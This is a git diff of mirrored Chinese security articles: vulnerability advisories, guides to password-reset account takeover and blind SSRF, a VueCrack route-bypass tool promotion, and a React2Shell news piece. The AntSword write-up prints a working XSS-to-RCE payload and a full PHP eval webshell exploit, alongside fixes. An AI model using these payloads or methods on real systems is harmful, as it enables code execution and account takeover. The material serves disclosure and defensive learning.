||||
**03******
|
||||
|
||||
**漏洞复现**
|
||||
|
||||

|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**自查工具**
|
||||
|
||||
|
||||
nuclei
|
||||
|
||||

|
||||
|
||||
afrog
|
||||
|
||||

|
||||
|
||||
|
||||
**05******
|
||||
|
||||
**修复建议**
|
||||
|
||||
|
||||
1、关闭互联网暴露面或接口设置访问权限
|
||||
|
||||
2、升级至安全版本
|
||||
|
||||
|
||||
**06******
|
||||
|
||||
**内部圈子介绍**
|
||||
|
||||
### 【Nday漏洞实战圈】🛠️
|
||||
|
||||
专注公开1day/Nday漏洞复现 · 工具链适配支持
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
🔍 **资源内容**
|
||||
|
||||
▫️ 整合全网公开1day/Nday漏洞POC详情
|
||||
|
||||
▫️ 适配Afrog/Nuclei检测脚本
|
||||
|
||||
▫️ 支持内置与自定义POC目录混合扫描
|
||||
|
||||
🔄 **更新计划**
|
||||
|
||||
▫️ 每周新增7-10个实用POC(来源公开平台)
|
||||
|
||||
▫️ 所有脚本经过基础测试,降低调试成本
|
||||
|
||||
🎯 **适用场景**
|
||||
|
||||
▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗 ▫️ 安全运维
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
⚠️ **重要声明**
|
||||
|
||||
▫️
|
||||
仅限合法授权测试,严禁违规使用
|
||||
|
||||
**▫️虚拟资源服务,购买后不接受任何形式退款**
|
||||
|
||||
▫️
|
||||
付款
|
||||
前请评估需求,慎重考虑
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
# 密码重置令牌可预测漏洞
|
||||
原创 游山玩水
|
||||
游山玩水 山水SRC 2026-04-28 01:16
|
||||
|
||||
## 免责声明
|
||||
|
||||
**本公众号分享的所有渗透测试技术文章仅面向合法授权的安全测试、学习交流与研究用途。读者必须确保自身行为符合《网络安全法》等相关法律法规,严禁将其用于任何未授权攻击等非法活动。因不当使用或传播相关内容所引发的任何法律责任与风险,由行为人自行承担,本公众号(或本人)概不负责**
|
||||
|
||||
## 流程
|
||||
|
||||
**测试前提**
|
||||
1. 系统提供基于邮箱的密码找回/重置功能。
|
||||
|
||||
1. 重置链接中包含用于标识用户或验证身份的**可预测参数**
|
||||
(如:自增ID、基于时间生成的序列、用户邮箱的弱哈希)。
|
||||
|
||||
1. 该参数直接暴露在URL中(例如:https://example.com/reset?token=10001
|
||||
),且攻击者可以观察或推断其生成规律。
|
||||
|
||||
1. 服务端仅依赖该参数来确认用户身份,未结合其他强校验(如:绑定当前会话、二次验证、校验参数与邮箱的强关联性)。
|
||||
|
||||
1. 攻击者知道或能获知目标用户(用户B)的注册邮箱或用户名。
|
||||
|
||||
**测试流程**
|
||||
1. **信息收集**
|
||||
:攻击者(用户A)首先使用自己的账号触发密码找回流程。
|
||||
|
||||
1. **分析参数**
|
||||
:接收并检查发送到自己邮箱的重置链接。假设链接为:https://example.com/reset?uid=10001
|
||||
。攻击者发现uid
|
||||
参数为连续数字。
|
||||
|
||||
1. **预测目标参数**
|
||||
:攻击者诱使或等待用户B进行密码找回。由于操作相邻,用户B获得的链接很可能为https://example.com/reset?uid=10002
|
||||
。
|
||||
|
||||
1. **实施篡改**
|
||||
:攻击者访问自己收到的重置链接(uid=10001
|
||||
),在浏览器地址栏或通过工具,将URL中的参数uid=10001
|
||||
修改为uid=10002
|
||||
,然后访问。
|
||||
|
||||
1. **绕过验证**
|
||||
:服务端收到uid=10002
|
||||
的请求,错误地认为这是用户B本人在操作,从而允许攻击者进入密码重置页面或直接重置用户B的密码。
|
||||
|
||||
1. **完成攻击**
|
||||
:攻击者成功将用户B的密码修改为自己设定的密码,从而完全控制用户B的账户。
|
||||
|
||||
**危害**
|
||||
- **核心危害**
|
||||
:**账户被完全接管**
|
||||
。攻击者可以登录受害账户,执行查看敏感信息、进行交易、发布内容、窃取虚拟财产等所有操作。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
# 漏洞预警 | Adobe Acrobat Reader远程代码执行漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-04-27 23:50
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # CVE-2026-34621
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
Adobe Acrobat是Adobe Inc.开发的一系列应用软件和Web服务,用于查看、创建、操作、打印和管理便携式文档格式(PDF)文件。
|
||||
|
||||

|
||||
|
||||
**0x03 漏洞详情**
|
||||
|
||||
**CVE-2026-34621**
|
||||
|
||||
**漏洞类型:**
|
||||
远程代码执行
|
||||
|
||||
**影响:**
|
||||
执行任意代码
|
||||
|
||||
**简述:**
|
||||
Adobe Acrobat Reader存在远程代码执行漏洞,由于其JavaScript引擎未能正确控制对象原型属性的修改,攻击者可以利用该漏洞制作恶意的PDF文件,诱导受害者打开特制的文件,在当前用户的上下文中执行任意代码。
|
||||
|
||||
**0x04 影响版本**
|
||||
- Acrobat DC <= 26.001.21367
|
||||
|
||||
- Acrobat Reader DC <= 26.001.21367
|
||||
|
||||
- Acrobat 2024 <= 24.001.30356
|
||||
|
||||
**0x05 POC状态**
|
||||
- 已公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本,建议用户升级到安全版本****:**
|
||||
|
||||
https://www.adobe.com/
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 漏洞预警 | 孚盟云SQL注入漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-04-22 23:50
|
||||
浅安 浅安安全 2026-04-27 23:50
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
@@ -23,7 +23,7 @@ SQL注入
|
||||
窃取敏感信息
|
||||
|
||||
**简述:**
|
||||
孚盟云的/m/Dingding/Ajax/WorkFlowHandler.ashx接口存在SQL注入漏洞,未经验证的攻击者可通过该漏洞获取数据库敏感信息。
|
||||
孚盟云的/m/Dingding/Order/OrderLook.aspx接口存在SQL注入漏洞,未经验证的攻击者可通过该漏洞获取数据库敏感信息。
|
||||
|
||||
**0x04 影响版本**
|
||||
- 孚盟云
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# 盲SSRF实战:用这招“投石问路”,无声漏洞照样拿赏金
|
||||
原创 升斗安全XiuXiu
|
||||
升斗安全XiuXiu 升斗安全 2026-04-27 23:55
|
||||
|
||||
**【文章说明】**
|
||||
- **目的**
|
||||
:本文内容仅为网络安全**技术研究与教育**
|
||||
目的而创作。
|
||||
|
||||
- **红线**
|
||||
:严禁将本文知识用于任何**未授权**
|
||||
的非法活动。使用者必须遵守《网络安全法》等相关法律。
|
||||
|
||||
- **责任**
|
||||
:任何对本文技术的滥用所引发的**后果自负**
|
||||
,与本公众号及作者无关。
|
||||
|
||||
- **免责**
|
||||
:内容仅供参考,作者不对其准确性、完整性作任何担保。
|
||||
|
||||
**阅读即代表您同意以上条款。**
|
||||
|
||||
****
|
||||
今天我们来分享一些关于“
|
||||
盲SSRF”的实战技巧,掌握这一招,能让你更好地理解这种漏洞的危害点和利用点。
|
||||
|
||||
这招特别适合挖
|
||||
SSRF这种“
|
||||
盲”漏洞——页面不报错、不返回明显特征,根本看不出来服务器有没有发起请求。这时候,我们需要一个“收信地址”,让服务器主动来敲门。
|
||||
Burp Collaborator就是这个地址。
|
||||
|
||||
实战拆解:四步走
|
||||
|
||||
第一步:逮住请求
|
||||
|
||||
正常使用目标功能,比如提交表单、导入链接、图片加载这些。Burp抓到请求后,右键直接“
|
||||
Send to Repeater”,把它扔进
|
||||
Repeater等着改。
|
||||
|
||||

|
||||
|
||||
第二步:偷梁换柱
|
||||
|
||||
在
|
||||
Repeater里找到
|
||||
Referer头(别的头也行,
|
||||
只要值是个URL的地方都值得试试),鼠标右键点它,菜单里选“
|
||||
Insert Collaborator Payload”。你会看到原本的域名一下子变成了
|
||||
Collaborator那个带随机串的地址。别犹豫,点“Send”把请求发出去。
|
||||
|
||||

|
||||
|
||||
第三步:等回铃
|
||||
|
||||
切到Burp顶部的“
|
||||
Collaborator”标签页,点“
|
||||
Poll now”刷新。没反应?正常的。服务端很多操作是异步的,可能隔几秒、十几秒才处理。喝口水,再点一次。
|
||||
|
||||

|
||||
|
||||
第四步:看信号
|
||||
|
||||
只要有DNS查询或者HTTP请求出现在列表里,恭喜——目标服务器按我们给的地址,主动发了请求,
|
||||
SSRF基本实锤。接下来就可以琢磨怎么扩大利用面了。
|
||||
|
||||
说两句掏心窝的
|
||||
|
||||
这法子不依赖页面返回,专门对付那些“闷声不响”的服务端请求。
|
||||
Referer只是其中一个常见注入点,像
|
||||
X-Forwarded-For、
|
||||
User-Agent、各种回调地址,都可以用同样套路挨个测。多试几个位置,往往有意外收获。
|
||||
|
||||
觉得实用的话,点个 「在看」 让更多挖洞的兄弟看到。想学习更多赏金技巧、掌握最新漏洞线索,关注我,不定时更新更多挖洞姿势。
|
||||
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
# 红队神器|Vue 站点未授权漏洞一键挖掘,这款插件太好用了
|
||||
黑白之道 2026-04-28 01:35
|
||||
|
||||

|
||||
|
||||
在日常渗透测试和 SRC 挖洞中,**Vue 框架站点**
|
||||
经常让人头疼:前端路由守卫拦着、权限判断藏在 meta 里、后台路径不翻源码根本找不到,手动测试又慢又容易漏。
|
||||
|
||||
今天给大家推荐一款**红队专用浏览器插件 ——VueCrack**
|
||||
,专门针对 Vue.js 站点做路由分析与权限绕过,能帮你快速发现隐藏页面和未授权访问漏洞,实战非常稳。
|
||||
|
||||
|
||||
**插件是干嘛的?**
|
||||
|
||||
简单说,它就是 **Vue 站点的 “权限破拆工具”**
|
||||
。很多 Vue 项目只在前端做权限控制,后端校验缺失,只要绕过路由守卫,就能直接访问管理后台、用户列表、配置页等敏感路径。
|
||||
|
||||
VueCrack 把这套逻辑做成浏览器插件,方便一键操作,大幅提升挖洞效率。
|
||||
|
||||
**插件核心功能**
|
||||
- 自动识别Vue框架:
|
||||
打开网站点一下插件,立刻判断是不是 Vue+VueRouter 架构。
|
||||
|
||||
- 一键清除路由守卫:
|
||||
自动干掉beforeEach
|
||||
等拦截逻辑,不再被弹窗、跳转挡住。
|
||||
|
||||
- 批量修改鉴权字段:
|
||||
递归扫描路由表,把auth: true
|
||||
这类权限标记直接改掉,实现前端无权限访问。
|
||||
|
||||
- 提取全部路由(含隐藏路由):
|
||||
直接从内存里扒路由表,很多不显示在菜单里的后台路径都能揪出来。
|
||||
|
||||
- 批量打开/复制路径:
|
||||
发现的路由一键复制、一键打开,批量测试未授权访问超省心。
|
||||
|
||||
**怎么安装使用(超简单)**
|
||||
1. 去 GitHub 下载插件源码 / 安装包
|
||||
|
||||
1. 打开 Chrome 浏览器,进入chrome://extensions/
|
||||
|
||||
1. 开启 “开发者模式”,加载已解压的扩展程序
|
||||
|
||||
1. 访问 Vue 站点,点击插件图标即可使用
|
||||
|
||||
打开插件后,你会看到当前站点所有路由列表,直接点 “打开” 逐个访问,大概率能碰到未授权漏洞。
|
||||
|
||||

|
||||
|
||||
**适合谁用?**
|
||||
- 渗透测试 / 红队工程师
|
||||
|
||||
- SRC 漏洞挖掘爱好者
|
||||
|
||||
- 前端安全审计人员
|
||||
|
||||
- 想快速测 Vue 权限问题的安全从业者
|
||||
|
||||
**下载地址**
|
||||
|
||||
原版:VueCrack(Ad1euDa1e 维护)
|
||||
|
||||
https://github.com/Ad1euDa1e/VueCrack
|
||||
|
||||
增强版:VueCrack-Plus(基于原版优化扩展)
|
||||
|
||||
https://github.com/kk12-30/VueCrack-Plus
|
||||
|
||||
> **文章来源:Hack分享吧**
|
||||
|
||||
|
||||
|
||||
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
|
||||
|
||||
如侵权请私聊我们删文
|
||||
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
@@ -0,0 +1,196 @@
|
||||
# 蚁剑v2.1.15曝致命漏洞!XSS可直接变RCE,点击即中招...
|
||||
原创 3had0w
|
||||
3had0w 潇湘信安 2026-04-28 00:30
|
||||
|
||||
<table><thead><tr style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><th data-colwidth="390" style="padding: 6px 13px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;word-break: break-all;hyphens: auto;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">Ima知识库名称</span></span></section></th><th data-colwidth="171" style="padding: 6px 13px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;word-break: break-all;hyphens: auto;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">加入条件</span></span></section></th></tr></thead><tbody><tr><td data-colwidth="390"><p><span leaf=""><a class="weapp_text_link js_weapp_entry" style="" data-unique-id="mmgq2ycy-fenn11" data-miniprogram-type="text" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-path="pages/index/index?shareId=5a450acc0ba7011d52e5087819ece0eaaf0706e9dee5bfce575c9c243bd86cc5" data-miniprogram-nickname="ima知识库" data-miniprogram-servicetype="0" data-miniprogram-applink=""><span textstyle="" style="font-size: 14px;">潇湘信安协同知识库(更新~ing!)</span></a></span></p></td><td data-colwidth="171"><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">限时免费</span></span></p></td></tr><tr><td data-colwidth="390"><p><span leaf=""><a class="weapp_text_link js_weapp_entry" style="" data-unique-id="mmgq3uc4-4eb0f6" data-miniprogram-type="text" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-path="pages/index/index?shareId=e3cb38cefa77595a6e512eae049953037e275bbab66071ed2f33d98fdf64e6f3" data-miniprogram-nickname="ima知识库" data-miniprogram-servicetype="0" data-miniprogram-applink=""><span textstyle="" style="font-size: 14px;">潇湘信安学习资料库(更新~ing!)</span></a></span></p></td><td data-colwidth="171"><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">≥3年粉丝</span></span></p></td></tr><tr><td data-colwidth="390"><p><span leaf=""><a class="weapp_text_link js_weapp_entry" style="" data-unique-id="mmgq4fe2-yfukhq" data-miniprogram-type="text" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-path="pages/index/index?shareId=da55c9143f5ee86a843ae20db3b689d73aa80ae9334b701add96a22ec001ac1c" data-miniprogram-nickname="ima知识库" data-miniprogram-servicetype="0" data-miniprogram-applink=""><span textstyle="" style="font-size: 14px;">潇湘信安内部知识库(更新~ing!)</span></a></span></p></td><td data-colwidth="171"><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">星球成员</span></span></p></td></tr></tbody></table>
|
||||
近期,GitHub上公开了**AntSword(中国蚁剑)v2.1.15**
|
||||
的一个高危安全漏洞,该漏洞由 **noxss() 过滤不完整**
|
||||
引发,恶意服务端可构造特殊响应,在虚拟终端实现**格式码注入**
|
||||
,最终导致**客户端任意代码执行**
|
||||
,风险极高。
|
||||
|
||||
https://github.com/AntSwordProject/antSword/issues/370
|
||||
|
||||

|
||||
|
||||
## 一、先搞懂:中国蚁剑是什么?
|
||||
|
||||
**AntSword(中国蚁剑)**
|
||||
是一款**开源跨平台的网站管理与渗透测试工具**
|
||||
,基于 Electron 开发,广泛用于**Webshell 管理、文件操作、数据库管理、虚拟终端**
|
||||
等场景,是安全从业者、渗透测试人员常用的辅助工具,支持 PHP/ASP/ASPX/JSP 等多种脚本环境。
|
||||
|
||||
但也正因**高权限、高频使用**
|
||||
,一旦工具自身出现漏洞,极易被黑产利用,**反噬使用者本地主机**
|
||||
。
|
||||
|
||||
|
||||
二、漏洞核心:一次过滤遗漏,引发客户端 “灭顶之灾”
|
||||
### 1. 漏洞编号与基础信息
|
||||
```
|
||||
漏洞来源:GitHub Issues #370
|
||||
漏洞类型:XSS注入 → 远程代码执行(RCE)
|
||||
影响版本:AntSword v2.1.15(其他满足noxss过滤逻辑 + nodeIntegration: true的版本同样受影响)
|
||||
利用难度:低(1-click触发)
|
||||
危害等级:高危
|
||||
```
|
||||
|
||||
### 2. 漏洞原理:二次渲染的安全间隙
|
||||
|
||||
漏洞根源在于**antSword.noxss()函数过滤不完整**
|
||||
:
|
||||
- 原noxss()
|
||||
仅过滤& ' > < "
|
||||
5 个字符,**未覆盖[ ] ! ; :等 jquery.terminal 格式码字符**
|
||||
;
|
||||
|
||||
- 恶意服务端注入**jquery.terminal 格式码**
|
||||
,绕过过滤后被终端解析,生成带javascript:
|
||||
协议的可点击链接;
|
||||
|
||||
- 蚁剑基于 Electron,且开启nodeIntegration: true
|
||||
,**点击链接即可直接调用 Node.js API**
|
||||
,执行系统命令。
|
||||
|
||||
3. 攻击流程(极简复现)
|
||||
|
||||
1、恶意 PHP 服务端构造 Payload:
|
||||
```
|
||||
[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]
|
||||
```
|
||||
|
||||
2、蚁剑连接该服务端,打开虚拟终端执行任意命令;
|
||||
|
||||
3、命令输出出现 “正常链接”,**用户点击后本地弹出计算器**
|
||||
,可进一步执行任意恶意代码。
|
||||
|
||||

|
||||
|
||||
|
||||
Exp:
|
||||
```
|
||||
<?php
|
||||
$pass = 'test';
|
||||
if (!isset($_POST[$pass])) {
|
||||
http_response_code(404);
|
||||
exit;
|
||||
}
|
||||
$code = $_POST[$pass];
|
||||
if (!function_exists('get_magic_quotes_gpc')) {
|
||||
function get_magic_quotes_gpc() { return 0; }
|
||||
}
|
||||
$payload = '[[!;;;;javascript:void(require(`child_process`).exec(`calc`))]{Click here for phpMyAdmin}]';
|
||||
$b64payload = base64_encode("\n" . $payload);
|
||||
$inject = 'echo base64_decode("' . $b64payload . '");';
|
||||
// 只在终端命令请求时注入 (包含 system/exec/passthru/popen 等命令执行函数)
|
||||
if (preg_match('/\bsystem\b|\bexec\b|\bpassthru\b|\bpopen\b|\bshell_exec\b|\bproc_open\b/', $code)) {
|
||||
$code = str_replace('asoutput();', $inject . 'asoutput();', $code);
|
||||
}
|
||||
@eval($code);
|
||||
?>
|
||||
```
|
||||
|
||||
## 三、官方修复方案:3 种思路,快速加固
|
||||
|
||||
项目组已给出**有效修复方案**
|
||||
,建议用户立即更新:
|
||||
### 方案 1:最小改动(推荐)
|
||||
|
||||
扩展noxss()
|
||||
过滤字符集,**转义[**
|
||||
,阻断格式码解析:
|
||||
```
|
||||
noxss: (html = '', wrap = true) => {
|
||||
let _html = String(html)
|
||||
.replace(/&/g, "&")
|
||||
.replace(/'/g, "'")
|
||||
.replace(/>/g, ">")
|
||||
.replace(/</g, "<")
|
||||
.replace(/"/g, """)
|
||||
.replace(/\[/g, "["); // 新增:阻断格式码
|
||||
if (wrap) {
|
||||
_html = _html.replace(/\n/g, '<br/>');
|
||||
}
|
||||
return _html;
|
||||
}
|
||||
```
|
||||
|
||||
### 方案 2:限制链接协议
|
||||
|
||||
在 jquery.terminal 层面,**仅允许 http/https 协议**
|
||||
,拒绝javascript:
|
||||
等危险协议。
|
||||
###
|
||||
|
||||
|
||||
### 方案 3:长期根治(根本解决方案)
|
||||
|
||||
关闭nodeIntegration: true
|
||||
,通过contextBridge
|
||||
安全暴露必要 API,**从根源杜绝 XSS 升级为 RCE**
|
||||
。
|
||||
|
||||
|
||||
四、安全建议:所有蚁剑用户必看
|
||||
1. 立即更新:
|
||||
升级到已修复的 v2.1.16 最新版本,避免使用 v2.1.15 及存在相同问题的旧版;
|
||||
|
||||
1. 谨慎连接:
|
||||
不连接不明、不可信的服务端,防止被构造恶意响应;
|
||||
|
||||
1. 不随意点击:
|
||||
虚拟终端中出现的陌生链接,
|
||||
切勿点击
|
||||
;
|
||||
|
||||
1. 加固环境:
|
||||
长期使用建议按方案 3 关闭nodeIntegration,降低权限风险。
|
||||
|
||||
中国蚁剑
|
||||
v2.1.16 下载地址:
|
||||
|
||||
https://github.com/AntSwordProject/antSword/releases/tag/2.1.16
|
||||
|
||||
## 五、写在最后
|
||||
|
||||
渗透工具本身是**双刃剑**
|
||||
,工具自身的安全,直接关系到**使用者本地主机安全。**
|
||||
此次蚁剑漏洞再次提醒:**高频使用的工具,更要紧盯安全更新**
|
||||
。请尽快自查版本、完成修复,避免被 “反向控制”!
|
||||
|
||||
|
||||
**关注我们**
|
||||
|
||||

|
||||
|
||||
还在等什么?赶紧点击下方名片开始学习吧
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
**知 识 星 球**
|
||||
|
||||
|
||||
|
||||
星球已过800人,暂不再发放优惠券,如还有需要的师傅可加我
|
||||
VX
|
||||
:**S_3had0w,等你一起来学习...!**
|
||||
|
||||

|
||||
<table><thead><tr style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><th data-colwidth="390" style="padding: 6px 13px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;word-break: break-all;hyphens: auto;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">Ima知识库名称</span></span></section></th><th data-colwidth="171" style="padding: 6px 13px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;word-break: break-all;hyphens: auto;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">加入条件</span></span></section></th></tr></thead><tbody><tr><td data-colwidth="390"><p><span leaf=""><a class="weapp_text_link js_weapp_entry" style="" data-unique-id="mmgq2ycy-fenn11" data-miniprogram-type="text" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-path="pages/index/index?shareId=5a450acc0ba7011d52e5087819ece0eaaf0706e9dee5bfce575c9c243bd86cc5" data-miniprogram-nickname="ima知识库" data-miniprogram-servicetype="0" data-miniprogram-applink=""><span textstyle="" style="font-size: 14px;">潇湘信安协同知识库(更新~ing!)</span></a></span></p></td><td data-colwidth="171"><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">限时免费</span></span></p></td></tr><tr><td data-colwidth="390"><p><span leaf=""><a class="weapp_text_link js_weapp_entry" style="" data-unique-id="mmgq3uc4-4eb0f6" data-miniprogram-type="text" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-path="pages/index/index?shareId=e3cb38cefa77595a6e512eae049953037e275bbab66071ed2f33d98fdf64e6f3" data-miniprogram-nickname="ima知识库" data-miniprogram-servicetype="0" data-miniprogram-applink=""><span textstyle="" style="font-size: 14px;">潇湘信安学习资料库(更新~ing!)</span></a></span></p></td><td data-colwidth="171"><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">≥3年粉丝</span></span></p></td></tr><tr><td data-colwidth="390"><p><span leaf=""><a class="weapp_text_link js_weapp_entry" style="" data-unique-id="mmgq4fe2-yfukhq" data-miniprogram-type="text" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-path="pages/index/index?shareId=da55c9143f5ee86a843ae20db3b689d73aa80ae9334b701add96a22ec001ac1c" data-miniprogram-nickname="ima知识库" data-miniprogram-servicetype="0" data-miniprogram-applink=""><span textstyle="" style="font-size: 14px;">潇湘信安内部知识库(更新~ing!)</span></a></span></p></td><td data-colwidth="171"><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">星球成员</span></span></p></td></tr></tbody></table><table><tbody><tr><td data-colwidth="287"><section nodeleaf=""><mp-common-miniprogram class="js_uneditable custom_select_card mp_miniprogram_iframe" data-pluginname="insertminiprogram" data-miniprogram-path="pages/index/index?shareId=5a450acc0ba7011d52e5087819ece0eaaf0706e9dee5bfce575c9c243bd86cc5" data-miniprogram-nickname="ima知识库" data-miniprogram-avatar="http://mmbiz.qpic.cn/sz_mmbiz_png/JkibkGcLiaJbVFXj8nYrmL5iab8KYwalibCtCjnicUJ6KFK8G4uC0VgesgxIL1iaTckOZYlKXNEtaBNeazcD8PLcic0zA/640?wx_fmt=png&wxfrom=200" data-miniprogram-title="潇湘信安协同知识库(更新~ing!)" data-miniprogram-imageurl="http://mmbiz.qpic.cn/mmbiz_jpg/zqnzfCSS1kB81aIibHjJDKmPS8BOiacfOmDUsm8ibwibG3bvo3EsfbkqO70BJNIo7rE4LqOia3xKRITWTZSOHKLwOO2ribkueicxLrLeEsV1FfDicus/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-imageurlback="https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FzqnzfCSS1kDw29J3ia1mGnlrZzHxa4HsTezib66icQ99G6vicWPvurHOicRL3wMv4PUyOibicDeN00EnibyP8feJsmyKUYnRHNRP8CA8Ja2HnPB6Ed8%2F0%3Fwx_fmt%3Djpeg%26from%3Dappmsg" data-miniprogram-cropperinfo="%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A59%2C%22x2%22%3A182%2C%22y2%22%3A204.6%2C%22w%22%3A182%2C%22h%22%3A145.6%7D%7D"></mp-common-miniprogram></section></td><td data-colwidth="287"><section nodeleaf=""><mp-common-miniprogram class="js_uneditable custom_select_card mp_miniprogram_iframe" data-pluginname="insertminiprogram" data-miniprogram-path="pages/index/index?shareId=e3cb38cefa77595a6e512eae049953037e275bbab66071ed2f33d98fdf64e6f3" data-miniprogram-nickname="ima知识库" data-miniprogram-avatar="http://mmbiz.qpic.cn/sz_mmbiz_png/JkibkGcLiaJbVFXj8nYrmL5iab8KYwalibCtCjnicUJ6KFK8G4uC0VgesgxIL1iaTckOZYlKXNEtaBNeazcD8PLcic0zA/640?wx_fmt=png&wxfrom=200" data-miniprogram-title="潇湘信安学习资料库(更新~ing!)" data-miniprogram-imageurl="http://mmbiz.qpic.cn/sz_mmbiz_jpg/zqnzfCSS1kC6ohbbn1EEAjmjkMbLqKC0TevicIR9DOX2IiafOBL5J7ygLr5khHY1XvTibQjqsA412O6HicaL1eyHvANjXdfI5DkCJWficVQibIzia0/0?wxLine truncated
|
||||
|
||||
**推 荐 阅 读**
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247486327&idx=1&sn=71fc57dc96c7e3b1806993ad0a12794a&chksm=cfa6af64f8d1267259efd56edab4ad3cd43331ec53d3e029311bae1da987b2319a3cb9c0970e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||

|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# 黑客利用Telegram做“战报系统”,900余家企业遭React2Shell漏洞批量洗劫
|
||||
FreeBuf 2026-04-26 10:02
|
||||
黑白之道 2026-04-28 01:35
|
||||
|
||||

|
||||

|
||||
|
||||
##
|
||||
##
|
||||
|
||||

|
||||
|
||||
**Part01**
|
||||
## 攻击行动曝光
|
||||
@@ -98,7 +98,7 @@ DFIR Report的分析师还发现,攻击者至少运行了两个独立的机器
|
||||
这种基础设施投入水平表明,攻击者并非新手,而是长期从事此类操作——存储阶段的命名痕迹甚至可追溯至2025年9月。
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
**Part07**
|
||||
@@ -125,19 +125,15 @@ Hackers Use Telegram Bots to Track 900+ Successful React2Shell Exploits
|
||||
https://cybersecuritynews.com/hackers-use-telegram-bots/
|
||||
|
||||
|
||||
|
||||
**推荐阅读**
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651337140&idx=1&sn=134af642d92b85fc1076a8c83c09945c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
### 电报讨论
|
||||
|
||||
|
||||

|
||||
|
||||
****
|
||||
> **文章来源:freebuf**
|
||||
|
||||
|
||||
|
||||
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
|
||||
|
||||
如侵权请私聊我们删文
|
||||
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
Reference in new issue
Block a user